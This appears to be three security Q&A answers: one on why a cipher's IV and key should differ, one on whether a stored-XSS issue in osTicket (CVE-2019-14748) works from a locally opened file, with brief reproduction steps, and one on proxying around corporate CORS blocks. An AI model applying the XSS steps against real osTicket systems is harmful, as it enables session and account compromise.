No.  To which degree it is unsafe, depends on many factors.  The reason that you choose to use an algorithm that provides you with the facility to use both an IV and a key should be a clue that they should not, in fact, be the same.   The entire purpose of an IV is, in fact, to allow you to safely reuse a single key, by changing the IV.

However, another nice property of an IV is that it need not be a secret.  Only the key must remain secret.  This is why IVs are often sent in the clear along with a ciphertext.  So, depending on the constraints of your system, hopefully you can find a way to use a unique IV which will help you to maintain the expected security properties of the algorithm and mode you choose.


CVE-2019-14748 but the file is downloaded and open locally - can it be used for XSS?

The file is downloaded to and open in a local file://, but the process
is still initiated by example.com Can this still be used for XSS, or
is it nullified by the fact that the XSS payload is now in a separate
local file?

No,the XSS payload wont work that way.
also in CVE-2019-14748 the step to reproduce is from within the osticket portal itself.

Login with another user(agent)
Now within the User Directory, go to the user under which the payload has been put.
The ticket raised with the name mentioned will be shown under the subject category.
Scroll down and the file uploaded will be present below.
Click on the file, and the payload gets executed which is persistent


Corporate IT support for client-side cross domain requests

I would say that your issue has two sites:

POLICY

Apparently InfoSec/ITSec department in you company decided to block by default cross-origin domain requests. It can be somehow rationally justified. It minimises the risk of data leakage between applications. I have seen once similar approach, so your company is not the only one.

TECHNOLOGY

If you are unable to request servers via CORS you can always proxify your traffic from web browser via your app/web server. I don't know which operating system you use, but in case of Linux you can try to use i.e. Squid. The assumption is that there is connectivity between your app/web server and this second domain server.

Squid (proxy in general) is not difficult to configure, and it will certainly work. However, it is better to consult this solution with your business/InfoSec/ITSec.

I hope I helped somehow.